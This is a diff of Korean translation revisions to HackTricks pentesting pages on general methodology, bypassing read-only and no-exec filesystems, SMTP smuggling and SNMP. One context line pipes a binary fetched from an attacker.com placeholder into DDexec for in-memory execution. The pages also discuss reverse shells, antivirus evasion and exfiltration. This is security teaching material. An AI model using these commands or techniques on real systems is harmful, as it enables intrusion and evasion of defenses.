일부 시나리오에서는 **브루트 포스**가 **서비스를 타협하는 데 유용할 수 있습니다**. [**여기에서 다양한 서비스의 브루트 포싱 치트 시트를 찾으세요**](brute-force.md)**.**
|
||||
|
||||
### 6- [피싱](phishing-methodology/)
|
||||
|
||||
이 시점에서 흥미로운 취약점을 찾지 못했다면, **네트워크에 침투하기 위해 피싱을 시도해야 할 수도 있습니다**. 제 피싱 방법론을 [여기](phishing-methodology/)에서 읽어보세요:
|
||||
이 시점에서 흥미로운 취약점을 찾지 못했다면 **네트워크에 침투하기 위해 피싱을 시도해야 할 수도 있습니다**. 제 피싱 방법론을 [여기](phishing-methodology/)에서 읽어보세요:
|
||||
|
||||
### **7-** [**쉘 얻기**](reverse-shells/)
|
||||
|
||||
어쨌든 피해자에게 **코드를 실행할 방법을 찾았어야 합니다**. 그러면 [시스템 내에서 리버스 쉘을 얻기 위해 사용할 수 있는 가능한 도구 목록이 매우 유용할 것입니다](reverse-shells/).
|
||||
어떻게든 **희생자에서 코드를 실행할 수 있는 방법을 찾아야 합니다**. 그런 다음, [역방향 쉘을 얻기 위해 시스템 내에서 사용할 수 있는 가능한 도구 목록이 매우 유용할 것입니다](reverse-shells/).
|
||||
|
||||
특히 Windows에서는 **안티바이러스를 피하는 데 도움이 필요할 수 있습니다**: [**이 페이지를 확인하세요**](../windows-hardening/av-bypass.md)**.**\\
|
||||
|
||||
|
@ -91,7 +91,7 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
|
||||
### **9 -** [**탈출**](exfiltration.md)
|
||||
|
||||
피해자로부터 **데이터를 추출해야 하거나** 심지어 **무언가를 도입해야 할 수도 있습니다** (특권 상승 스크립트와 같은). **여기에서 이러한 목적을 위해 사용할 수 있는** [**일반적인 도구에 대한 게시물을 찾을 수 있습니다**](exfiltration.md)**.**
|
||||
희생자로부터 **일부 데이터를 추출해야 하거나** 심지어 **무언가를 도입해야 할 수도 있습니다** (특권 상승 스크립트와 같은). **여기에서 이러한 목적에 사용할 수 있는 일반적인 도구에 대한** [**게시물을 찾을 수 있습니다**](exfiltration.md)**.**
|
||||
|
||||
### **10- 특권 상승**
|
||||
|
||||
|
@ -99,7 +99,7 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
|
||||
박스 내에서 **루트/관리자**가 아니라면, **특권을 상승시키는 방법을 찾아야 합니다**.\
|
||||
여기에서 [**리눅스**](../linux-hardening/privilege-escalation/) **및** [**윈도우**](../windows-hardening/windows-local-privilege-escalation/) **에서 로컬로 특권을 상승시키는 방법에 대한 가이드를 찾을 수 있습니다.**\
|
||||
또한 **Windows가 어떻게 작동하는지**에 대한 페이지를 확인하세요:
|
||||
또한 **Windows가 어떻게 작동하는지**에 대한 이 페이지를 확인하세요:
|
||||
|
||||
* [**인증, 자격 증명, 토큰 특권 및 UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||
* [**NTLM 작동 방식**](../windows-hardening/ntlm/)
|
||||
|
@ -116,7 +116,7 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
|
||||
#### **11**.1 - 약탈
|
||||
|
||||
호스트 내에서 더 많은 **비밀번호**를 찾거나 **사용자의 특권**으로 **다른 기계에 접근할 수 있는지 확인하세요**.\
|
||||
호스트 내에서 더 많은 **비밀번호**를 찾을 수 있는지 또는 **사용자의 특권**으로 **다른 기계에 접근할 수 있는지** 확인하세요.\
|
||||
여기에서 [**Windows에서 비밀번호를 덤프하는 다양한 방법**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)을 찾을 수 있습니다.
|
||||
|
||||
#### 11.2 - 지속성
|
||||
|
@ -128,7 +128,7 @@ TODO: Windows 및 Linux에서 지속성 게시물 완료
|
|||
|
||||
### 12 - 피벗팅
|
||||
|
||||
**수집한 자격 증명**으로 다른 기계에 접근할 수 있거나, **새로운 호스트를 발견하고 스캔해야 할 수도 있습니다** (펜테스팅 방법론을 다시 시작) 새로운 네트워크 내에서 피해자가 연결되어 있는 경우.\
|
||||
**수집한 자격 증명**으로 다른 기계에 접근할 수 있거나, 희생자가 연결된 새로운 네트워크 내에서 **새로운 호스트를 발견하고 스캔해야 할 수도 있습니다** (펜테스팅 방법론을 다시 시작하세요).\
|
||||
이 경우 터널링이 필요할 수 있습니다. [**터널링에 대한 게시물**](tunneling-and-port-forwarding.md)을 여기에서 찾을 수 있습니다.\
|
||||
또한 [Active Directory 펜테스팅 방법론](../windows-hardening/active-directory-methodology/)에 대한 게시물을 확인해야 합니다. 거기에서 수평 이동, 특권 상승 및 자격 증명 덤프를 위한 멋진 팁을 찾을 수 있습니다.\
|
||||
[**NTLM**](../windows-hardening/ntlm/)에 대한 페이지도 확인하세요. Windows 환경에서 피벗하는 데 매우 유용할 수 있습니다.
|
||||
|
@ -151,7 +151,7 @@ TODO: Windows 및 Linux에서 지속성 게시물 완료
|
|||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**패딩 오라클**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필수_).
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# FS 보호 우회: 읽기 전용 / 실행 금지 / Distroless
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,12 +10,12 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 필기 및 구사 필수_).
|
||||
|
||||
|
@ -25,12 +25,12 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
다음 비디오에서 이 페이지에 언급된 기술을 더 깊이 설명합니다:
|
||||
|
||||
* [**DEF CON 31 - 리눅스 메모리 조작 탐색을 통한 스텔스 및 회피**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**DDexec-ng 및 인메모리 dlopen()을 통한 스텔스 침투 - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
* [**DEF CON 31 - 스텔스 및 회피를 위한 리눅스 메모리 조작 탐색**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**DDexec-ng 및 인메모리 dlopen()을 이용한 스텔스 침투 - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
|
||||
## 읽기 전용 / 실행 금지 시나리오
|
||||
|
||||
리눅스 머신이 **읽기 전용 (ro) 파일 시스템 보호**로 마운트되는 경우가 점점 더 많아지고 있습니다. 특히 컨테이너에서 그렇습니다. 이는 ro 파일 시스템으로 컨테이너를 실행하는 것이 `securitycontext`에서 **`readOnlyRootFilesystem: true`**를 설정하는 것만큼 쉽기 때문입니다:
|
||||
리눅스 머신이 **읽기 전용 (ro) 파일 시스템 보호**로 마운트되는 경우가 점점 더 많아지고 있습니다. 특히 컨테이너에서 그렇습니다. 이는 **`readOnlyRootFilesystem: true`**를 `securitycontext`에 설정하는 것만으로 컨테이너를 실행할 수 있기 때문입니다:
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
||||
kind: Pod
|
||||
|
@ -53,29 +53,29 @@ securityContext:
|
|||
|
||||
## 가장 쉬운 우회: 스크립트
|
||||
|
||||
바이너리를 언급했지만, **인터프리터가 머신 내부에 있는 한** 어떤 스크립트도 **실행할 수 있습니다**. 예를 들어 `sh`가 있는 경우 **셸 스크립트**를 실행하거나 `python`이 설치된 경우 **파이썬 스크립트**를 실행할 수 있습니다.
|
||||
바이너리를 언급했지만, **인터프리터가 머신 내에 있는 한** 어떤 스크립트도 **실행할 수 있습니다**. 예를 들어 `sh`가 있는 경우 **셸 스크립트**를 실행하거나 `python`이 설치된 경우 **파이썬 스크립트**를 실행할 수 있습니다.
|
||||
|
||||
그러나 이것만으로는 바이너리 백도어나 실행해야 할 다른 바이너리 도구를 실행하기에 충분하지 않습니다.
|
||||
|
||||
## 메모리 우회
|
||||
|
||||
바이너리를 실행하고 싶지만 파일 시스템이 이를 허용하지 않는 경우, 가장 좋은 방법은 **메모리에서 실행하는 것**입니다. 왜냐하면 **그곳에서는 보호가 적용되지 않기 때문입니다**.
|
||||
바이너리를 실행하고 싶지만 파일 시스템이 이를 허용하지 않는 경우, 가장 좋은 방법은 **메모리에서 실행하는 것**입니다. 왜냐하면 **보호가 적용되지 않기 때문입니다**.
|
||||
|
||||
### FD + exec 시스템 호출 우회
|
||||
|
||||
머신 내부에 **Python**, **Perl**, 또는 **Ruby**와 같은 강력한 스크립트 엔진이 있는 경우, 메모리에서 실행할 바이너리를 다운로드하고 메모리 파일 설명자(`create_memfd` 시스템 호출)에 저장할 수 있습니다. 이는 이러한 보호에 의해 보호되지 않으며, 그런 다음 **`exec` 시스템 호출**을 호출하여 **실행할 파일로 fd를 지정**할 수 있습니다.
|
||||
머신 내에 **Python**, **Perl**, 또는 **Ruby**와 같은 강력한 스크립트 엔진이 있는 경우, 메모리에서 실행할 바이너리를 다운로드하고, 메모리 파일 설명자(`create_memfd` 시스템 호출)에 저장한 다음, **`exec` 시스템 호출**을 호출하여 **실행할 파일로 fd를 지정**할 수 있습니다.
|
||||
|
||||
이를 위해 [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) 프로젝트를 쉽게 사용할 수 있습니다. 바이너리를 전달하면 **바이너리가 압축되고 b64 인코딩된** 스크립트를 지정된 언어로 생성하며, **fd**를 생성하여 `create_memfd` 시스템 호출을 호출하고 이를 실행하기 위한 **exec** 시스템 호출을 포함합니다.
|
||||
이를 위해 [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) 프로젝트를 쉽게 사용할 수 있습니다. 바이너리를 전달하면 **바이너리가 압축되고 b64 인코딩된** 스크립트를 지정된 언어로 생성하며, **fd**를 생성하기 위해 `create_memfd` 시스템 호출을 호출하고 이를 실행하기 위한 **exec** 시스템 호출을 포함합니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
이 방법은 PHP나 Node와 같은 다른 스크립팅 언어에서는 작동하지 않습니다. 왜냐하면 스크립트에서 원시 시스템 호출을 호출하는 **기본 방법이 없기 때문**입니다. 따라서 **메모리 fd**를 생성하기 위해 `create_memfd`를 호출할 수 없습니다.
|
||||
이 방법은 PHP나 Node와 같은 다른 스크립팅 언어에서는 작동하지 않습니다. 왜냐하면 스크립트에서 원시 시스템 호출을 호출하는 **기본 방법이 없기 때문입니다**. 따라서 바이너리를 저장할 **메모리 fd**를 생성하기 위해 `create_memfd`를 호출할 수 없습니다.
|
||||
|
||||
또한 `/dev/shm`에 있는 파일로 **일반 fd**를 생성하는 것도 작동하지 않습니다. 왜냐하면 **실행 금지 보호**가 적용되기 때문에 실행할 수 없기 때문입니다.
|
||||
또한 `/dev/shm`에 있는 파일로 **정규 fd**를 생성하는 것도 작동하지 않습니다. 왜냐하면 **실행 금지 보호**가 적용되기 때문에 실행할 수 없기 때문입니다.
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) 기술은 **자신의 프로세스 메모리를 수정**할 수 있게 해줍니다. **`/proc/self/mem`**을 덮어쓰는 방식으로 말입니다.
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) 기술은 **자신의 프로세스 메모리를 수정**하여 **`/proc/self/mem`**을 덮어쓰는 방법입니다.
|
||||
|
||||
따라서 **프로세스에서 실행되는 어셈블리 코드를 제어**함으로써 **셸코드**를 작성하고 프로세스를 "변형"하여 **임의의 코드를 실행**할 수 있습니다.
|
||||
|
||||
|
@ -96,7 +96,7 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
|
|||
|
||||
[**Memexec**](https://github.com/arget13/memexec)는 DDexec의 자연스러운 다음 단계입니다. **다른 바이너리**를 **실행**하고 싶을 때마다 DDexec를 다시 시작할 필요 없이, DDexec 기술을 통해 memexec 셸코드를 실행하고 **이 데몬과 통신하여 새 바이너리를 로드하고 실행**할 수 있습니다.
|
||||
|
||||
**memexec를 사용하여 PHP 리버스 셸에서 바이너리를 실행하는 방법에 대한 예시는** [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php)에서 확인할 수 있습니다.
|
||||
**memexec를 사용하여 PHP 리버스 셸에서 바이너리를 실행하는 방법에 대한 예제**는 [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php)에서 확인할 수 있습니다.
|
||||
|
||||
### Memdlopen
|
||||
|
||||
|
@ -112,43 +112,43 @@ Distroless 컨테이너의 목표는 **불필요한 구성 요소를 제거하
|
|||
|
||||
### 리버스 셸
|
||||
|
||||
Distroless 컨테이너에서는 **정상적인 셸을 얻기 위해 `sh` 또는 `bash`를 찾을 수 없을 수도 있습니다**. `ls`, `whoami`, `id`와 같은 바이너리도 찾을 수 없습니다... 시스템에서 일반적으로 실행하는 모든 것입니다.
|
||||
Distroless 컨테이너에서는 **정상적인 셸을 얻기 위해 `sh` 또는 `bash`**를 찾을 수 없을 수도 있습니다. `ls`, `whoami`, `id`와 같은 바이너리도 찾을 수 없습니다... 시스템에서 일반적으로 실행하는 모든 것입니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
따라서, **리버스 셸**을 얻거나 **시스템을 열거**할 수 없습니다.
|
||||
{% endhint %}
|
||||
|
||||
그러나 손상된 컨테이너가 예를 들어 플라스크 웹을 실행하고 있다면, 파이썬이 설치되어 있으므로 **파이썬 리버스 셸**을 얻을 수 있습니다. 노드를 실행하고 있다면 Node 리버스 셸을 얻을 수 있으며, 대부분의 **스크립팅 언어**에서도 마찬가지입니다.
|
||||
그러나 손상된 컨테이너가 예를 들어 플라스크 웹을 실행하고 있다면, 파이썬이 설치되어 있으므로 **파이썬 리버스 셸**을 얻을 수 있습니다. 노드를 실행하고 있다면 노드 리버스 셸을 얻을 수 있으며, 대부분의 **스크립팅 언어**와 마찬가지입니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
스크립팅 언어를 사용하여 **시스템을 열거**할 수 있습니다.
|
||||
스크립팅 언어를 사용하여 언어의 기능을 활용하여 **시스템을 열거**할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
**읽기 전용/실행 금지** 보호가 없다면, 리버스 셸을 악용하여 **파일 시스템에 바이너리를 작성**하고 **실행**할 수 있습니다.
|
||||
**`read-only/no-exec`** 보호가 없다면, 리버스 셸을 악용하여 **파일 시스템에 바이너리를 작성**하고 **실행**할 수 있습니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
그러나 이러한 종류의 컨테이너에서는 이러한 보호가 일반적으로 존재하지만, **이전 메모리 실행 기술을 사용하여 우회할 수 있습니다**.
|
||||
{% endhint %}
|
||||
|
||||
**RCE 취약점을 악용하여 스크립팅 언어의 리버스 셸을 얻고 메모리에서 바이너리를 실행하는 방법에 대한 예시는** [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)에서 확인할 수 있습니다.
|
||||
**RCE 취약점을 악용하여 스크립팅 언어의 리버스 셸을 얻고 메모리에서 바이너리를 실행하는 방법에 대한 예제**는 [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)에서 확인할 수 있습니다.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 필기 및 구사 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우고 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우고 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop)을 확인하세요!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,20 +17,20 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
## Basic Information
|
||||
|
||||
이러한 유형의 취약점은 [**이 게시물에서 원래 발견되었습니다**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) 여기서 이메일을 최종화할 때 SMTP 프로토콜이 해석되는 방식의 불일치를 **악용할 수 있습니다**. 이를 통해 공격자는 합법적인 이메일 본문에 더 많은 이메일을 밀어넣을 수 있으며, 이는 영향을 받는 도메인의 다른 사용자(예: admin@outlook.com)로 가장할 수 있게 해주며 SPF와 같은 방어를 우회할 수 있습니다.
|
||||
이러한 유형의 취약점은 [**이 게시물에서 원래 발견되었습니다**](https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/) 여기서 이메일을 최종화할 때 SMTP 프로토콜이 해석되는 방식의 불일치를 **악용할 수 있습니다**. 이를 통해 공격자는 합법적인 이메일 본문에 더 많은 이메일을 밀어넣을 수 있으며, 이는 영향을 받는 도메인의 다른 사용자(예: admin@outlook.com)를 가장할 수 있게 해주며 SPF와 같은 방어를 우회할 수 있습니다.
|
||||
|
||||
### Why
|
||||
|
||||
이는 SMTP 프로토콜에서 이메일로 전송될 **메시지의 데이터**가 사용자(공격자)에 의해 제어되기 때문입니다. 이 사용자는 파서의 차이를 악용하여 수신자에게 추가 이메일을 밀어넣는 특별히 조작된 데이터를 보낼 수 있습니다. 원래 게시물의 이 그림 예제를 살펴보세요:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption><p><a href="https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png">https://sec-consult.com/fileadmin/user_upload/sec-consult/Dynamisch/Blogartikel/2023_12/SMTP_Smuggling-Overview__09_.png</a></p></figcaption></figure>
|
||||
|
||||
### How
|
||||
|
||||
이 취약점을 악용하기 위해 공격자는 **아웃바운드 SMTP 서버가 단지 1개의 이메일로 생각하는 데이터를 보내야 하지만 인바운드 SMTP 서버는 여러 이메일이 있다고 생각해야 합니다**.
|
||||
이 취약점을 악용하기 위해 공격자는 **아웃바운드 SMTP 서버가 단지 1개의 이메일로 생각하지만 인바운드 SMTP 서버는 여러 이메일이 있다고 생각하는 데이터를 보내야 합니다**.
|
||||
|
||||
연구자들은 서로 다른 **인바운드 서버가 이메일 메시지의 데이터 끝을 나타내는 서로 다른 문자를 고려한다는 것을 발견했습니다**. 아웃바운드 서버는 그렇지 않습니다.\
|
||||
예를 들어, 데이터의 일반적인 끝은 `\r\n.\r`입니다. 그러나 인바운드 SMTP 서버가 `\n.`도 지원하는 경우, 공격자는 **이 데이터를 이메일에 추가하고 새로운 이메일을 밀어넣기 위한 SMTP 명령을 시작할 수 있습니다**. 이전 이미지와 같이.
|
||||
연구자들은 서로 다른 **인바운드 서버가 이메일 메시지의 데이터 끝으로 서로 다른 문자를 고려한다는 것을 발견했습니다**. 아웃바운드 서버는 그렇지 않습니다.\
|
||||
예를 들어, 일반적인 데이터 끝은 `\r\n.\r`입니다. 그러나 인바운드 SMTP 서버가 `\n.`도 지원하는 경우, 공격자는 **이 데이터를 자신의 이메일에 추가하고 새로운 이메일을 밀어넣기 위한 SMTP 명령을 시작할 수 있습니다**. 이전 이미지와 마찬가지로.
|
||||
|
||||
물론, 이는 **아웃바운드 SMTP 서버가 이 데이터를 메시지 데이터의 끝으로 처리하지 않을 경우에만 작동합니다**. 그렇지 않으면 1개의 이메일 대신 2개의 이메일로 보게 되므로, 결국 이것이 이 취약점에서 악용되는 비동기화입니다.
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# 161,162,10161,10162/udp - Pentesting SNMP
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -23,32 +23,32 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
## Basic Information
|
||||
|
||||
**SNMP - Simple Network Management Protocol**는 네트워크의 다양한 장치(라우터, 스위치, 프린터, IoT 등)를 모니터링하는 데 사용되는 프로토콜입니다.
|
||||
**SNMP - 간단한 네트워크 관리 프로토콜**은 네트워크의 다양한 장치(예: 라우터, 스위치, 프린터, IoT 등)를 모니터링하는 데 사용되는 프로토콜입니다.
|
||||
```
|
||||
PORT STATE SERVICE REASON VERSION
|
||||
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
|
||||
```
|
||||
{% hint style="info" %}
|
||||
SNMP는 **162/UDP** 포트를 **트랩**에 사용합니다. 이는 **명시적으로 요청되지 않은 SNMP 서버에서 클라이언트로 전송되는 데이터 패킷**입니다.
|
||||
SNMP는 **traps**를 위해 포트 **162/UDP**도 사용합니다. 이는 **명시적으로 요청되지 않은 SNMP 서버에서 클라이언트로 전송되는 데이터 패킷**입니다.
|
||||
{% endhint %}
|
||||
|
||||
### MIB
|
||||
|
||||
SNMP 접근이 제조업체 간 및 다양한 클라이언트-서버 조합에서 작동하도록 보장하기 위해 **관리 정보 베이스(Management Information Base, MIB)**가 생성되었습니다. MIB는 **장치 정보를 저장하기 위한 독립적인 형식**입니다. MIB는 **표준화된** 트리 계층 구조에 나열된 모든 쿼리 가능한 **SNMP 객체**를 포함하는 **텍스트** 파일입니다. 최소한 하나의 `객체 식별자(Object Identifier, OID)`를 포함하며, 이는 필요한 **고유 주소**와 **이름** 외에도 해당 객체의 유형, 접근 권한 및 설명에 대한 정보를 제공합니다.\
|
||||
MIB 파일은 `추상 구문 표기법 1(Abstract Syntax Notation One, ASN.1)` 기반 ASCII 텍스트 형식으로 작성됩니다. **MIB는 데이터를 포함하지 않지만**, **어떤 정보를 어디서 찾을 수 있는지**와 그것이 어떤 모습인지, 특정 OID에 대한 반환 값 또는 사용되는 데이터 유형을 설명합니다.
|
||||
SNMP 접근이 제조업체 간 및 다양한 클라이언트-서버 조합에서 작동하도록 보장하기 위해 **Management Information Base (MIB)**가 생성되었습니다. MIB는 **장치 정보를 저장하기 위한 독립적인 형식**입니다. MIB는 **표준화된** 트리 계층 구조에서 모든 쿼리 가능한 **SNMP 객체**가 나열된 **텍스트** 파일입니다. 여기에는 **고유 주소**와 **이름** 외에도 해당 객체의 유형, 접근 권한 및 설명에 대한 정보도 제공하는 **최소 하나의 `Object Identifier` (`OID`)**가 포함되어 있습니다.\
|
||||
MIB 파일은 `Abstract Syntax Notation One` (`ASN.1`) 기반 ASCII 텍스트 형식으로 작성됩니다. **MIB는 데이터를 포함하지 않지만**, **어떤 정보를 어디서 찾을 수 있는지**와 그것이 어떤 모습인지, 특정 OID에 대한 반환 값 또는 사용되는 데이터 유형을 설명합니다.
|
||||
|
||||
### OIDs
|
||||
|
||||
